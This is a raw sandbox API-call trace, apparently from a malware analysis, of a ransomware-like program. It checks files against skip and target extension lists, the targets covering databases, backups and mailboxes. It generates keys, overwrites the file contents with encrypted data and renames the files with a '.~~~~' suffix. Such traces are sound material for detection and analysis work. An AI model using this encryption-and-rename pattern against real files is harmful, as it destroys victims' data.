	[0084.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".MDF") returned 0x0
	[0084.247] lstrlenW (lpString=".bdb") returned 4
	[0084.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".bdb") returned 0x0
	[0084.247] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.247] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.248] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.248] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.248] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20423797091) returned 1
	[0084.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c0b5b30, dwHighDateTime=0x1d60e1e)) 
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9810
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9810 | out: hHeap=0x300000) returned 1
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807fe8
	[0084.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807fe8 | out: hHeap=0x300000) returned 1
	[0084.248] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.249] GetLastError () returned 0x0
	[0084.249] GetLastError () returned 0x0
	[0084.249] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.249] GetLastError () returned 0x0
	[0084.249] GetLastError () returned 0x0
	[0084.251] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff4708, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.251] WriteFile (in: hFile=0x120, lpBuffer=0x283ffe0*, nNumberOfBytesToWrite=0xb8f8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283ffe0*, lpNumberOfBytesWritten=0x26dfec0*=0xb8f8, lpOverlapped=0x0) returned 1
	[0084.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ffe0 | out: hHeap=0x300000) returned 1
	[0084.252] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.252] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.252] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.252] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.252] CloseHandle (hObject=0x120) returned 1
	[0084.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807fe8
	[0084.252] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.~~~~")) returned 1
	[0084.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807fe8 | out: hHeap=0x300000) returned 1
	[0084.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.253] GetLastError () returned 0x0
	[0084.253] RtlWakeConditionVariable () returned 0x365f70
	[0084.253] GetCurrentThreadId () returned 0x9cc
	[0084.253] GetCurrentThreadId () returned 0x9cc
	[0084.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808090
	[0084.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28085d0 | out: hHeap=0x300000) returned 1
	[0084.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97d8 | out: hHeap=0x300000) returned 1
	[0084.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28085d0
	[0084.253] lstrlenW (lpString=".scr") returned 4
	[0084.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".scr") returned 0x0
	[0084.253] lstrlenW (lpString=".cmd") returned 4
	[0084.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".cmd") returned 0x0
	[0084.254] lstrlenW (lpString=".dll") returned 4
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".dll") returned 0x0
	[0084.254] lstrlenW (lpString=".bat") returned 4
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".bat") returned 0x0
	[0084.254] lstrlenW (lpString=".cpl") returned 4
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".cpl") returned 0x0
	[0084.254] lstrlenW (lpString=".sys") returned 4
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".sys") returned 0x0
	[0084.254] lstrlenW (lpString=".msc") returned 4
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".msc") returned 0x0
	[0084.254] lstrlenW (lpString=".com") returned 4
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".com") returned 0x0
	[0084.254] lstrlenW (lpString=".lnk") returned 4
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".lnk") returned 0x0
	[0084.254] lstrlenW (lpString=".msp") returned 4
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".msp") returned 0x0
	[0084.254] lstrlenW (lpString=".pif") returned 4
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".pif") returned 0x0
	[0084.254] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.255] lstrlenW (lpString=".sqb") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".sqb") returned 0x0
	[0084.255] lstrlenW (lpString=".ost") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".ost") returned 0x0
	[0084.255] lstrlenW (lpString=".txt") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".txt") returned 0x0
	[0084.255] lstrlenW (lpString=".mdt") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".mdt") returned 0x0
	[0084.255] lstrlenW (lpString=".BDB") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".BDB") returned 0x0
	[0084.255] lstrlenW (lpString=".eql") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".eql") returned 0x0
	[0084.255] lstrlenW (lpString=".DBF") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DBF") returned 0x0
	[0084.255] lstrlenW (lpString=".EQL") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".EQL") returned 0x0
	[0084.255] lstrlenW (lpString=".FDB") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".FDB") returned 0x0
	[0084.255] lstrlenW (lpString=".EDB") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".EDB") returned 0x0
	[0084.255] lstrlenW (lpString=".DACPAC") returned 7
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DACPAC") returned 0x0
	[0084.255] lstrlenW (lpString=".VHD") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".VHD") returned 0x0
	[0084.255] lstrlenW (lpString=".DBV") returned 4
	[0084.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DBV") returned 0x0
	[0084.256] lstrlenW (lpString=".dacpac") returned 7
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".dacpac") returned 0x0
	[0084.256] lstrlenW (lpString=".sdf") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".sdf") returned 0x0
	[0084.256] lstrlenW (lpString=".accdb") returned 6
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".accdb") returned 0x0
	[0084.256] lstrlenW (lpString=".DBX") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DBX") returned 0x0
	[0084.256] lstrlenW (lpString=".MDT") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".MDT") returned 0x0
	[0084.256] lstrlenW (lpString=".SQB") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".SQB") returned 0x0
	[0084.256] lstrlenW (lpString=".vhd") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".vhd") returned 0x0
	[0084.256] lstrlenW (lpString=".bac") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".bac") returned 0x0
	[0084.256] lstrlenW (lpString=".mdf") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".mdf") returned 0x0
	[0084.256] lstrlenW (lpString=".BAK") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".BAK") returned 0x0
	[0084.256] lstrlenW (lpString=".BAC") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".BAC") returned 0x0
	[0084.256] lstrlenW (lpString=".dbs") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".dbs") returned 0x0
	[0084.256] lstrlenW (lpString=".vhdx") returned 5
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".vhdx") returned 0x0
	[0084.256] lstrlenW (lpString=".NDF") returned 4
	[0084.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".NDF") returned 0x0
	[0084.256] lstrlenW (lpString=".dat") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".dat") returned 0x0
	[0084.257] lstrlenW (lpString=".DBS") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DBS") returned 0x0
	[0084.257] lstrlenW (lpString=".CKP") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".CKP") returned 0x0
	[0084.257] lstrlenW (lpString=".edb") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".edb") returned 0x0
	[0084.257] lstrlenW (lpString=".PST") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".PST") returned 0x0
	[0084.257] lstrlenW (lpString=".dbf") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".dbf") returned 0x0
	[0084.257] lstrlenW (lpString=".SQL") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".SQL") returned 0x0
	[0084.257] lstrlenW (lpString=".pst") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".pst") returned 0x0
	[0084.257] lstrlenW (lpString=".dbv") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".dbv") returned 0x0
	[0084.257] lstrlenW (lpString=".SDF") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".SDF") returned 0x0
	[0084.257] lstrlenW (lpString=".dtxs") returned 5
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".dtxs") returned 0x0
	[0084.257] lstrlenW (lpString=".db3") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".db3") returned 0x0
	[0084.257] lstrlenW (lpString=".OST") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".OST") returned 0x0
	[0084.257] lstrlenW (lpString=".dbx") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".dbx") returned 0x0
	[0084.257] lstrlenW (lpString=".DB3") returned 4
	[0084.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DB3") returned 0x0
	[0084.258] lstrlenW (lpString=".DAT") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DAT") returned 0x0
	[0084.258] lstrlenW (lpString=".VHDX") returned 5
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".VHDX") returned 0x0
	[0084.258] lstrlenW (lpString=".ndf") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".ndf") returned 0x0
	[0084.258] lstrlenW (lpString=".DB") returned 3
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DB") returned 0x0
	[0084.258] lstrlenW (lpString=".sql") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".sql") returned 0x0
	[0084.258] lstrlenW (lpString=".MYD") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".MYD") returned 0x0
	[0084.258] lstrlenW (lpString=".DBT") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DBT") returned 0x0
	[0084.258] lstrlenW (lpString=".ACCDB") returned 6
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".ACCDB") returned 0x0
	[0084.258] lstrlenW (lpString=".fdb") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".fdb") returned 0x0
	[0084.258] lstrlenW (lpString=".bak") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".bak") returned 0x0
	[0084.258] lstrlenW (lpString=".myd") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".myd") returned 0x0
	[0084.258] lstrlenW (lpString=".DTXS") returned 5
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".DTXS") returned 0x0
	[0084.258] lstrlenW (lpString=".ckp") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".ckp") returned 0x0
	[0084.258] lstrlenW (lpString=".dbt") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".dbt") returned 0x0
	[0084.258] lstrlenW (lpString=".db") returned 3
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".db") returned 0x0
	[0084.258] lstrlenW (lpString=".TXT") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".TXT") returned 0x0
	[0084.258] lstrlenW (lpString=".MDF") returned 4
	[0084.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".MDF") returned 0x0
	[0084.259] lstrlenW (lpString=".bdb") returned 4
	[0084.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".bdb") returned 0x0
	[0084.259] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.259] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.260] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.260] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.260] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20425062759) returned 1
	[0084.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c0dbc90, dwHighDateTime=0x1d60e1e)) 
	[0084.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a97d8
	[0084.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97d8 | out: hHeap=0x300000) returned 1
	[0084.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808528
	[0084.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808528 | out: hHeap=0x300000) returned 1
	[0084.261] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.262] GetLastError () returned 0x0
	[0084.262] GetLastError () returned 0x0
	[0084.262] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.262] GetLastError () returned 0x0
	[0084.262] GetLastError () returned 0x0
	[0084.264] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffdef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.264] WriteFile (in: hFile=0x120, lpBuffer=0x283ffe0*, nNumberOfBytesToWrite=0x211, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283ffe0*, lpNumberOfBytesWritten=0x26dfec0*=0x211, lpOverlapped=0x0) returned 1
	[0084.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ffe0 | out: hHeap=0x300000) returned 1
	[0084.264] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
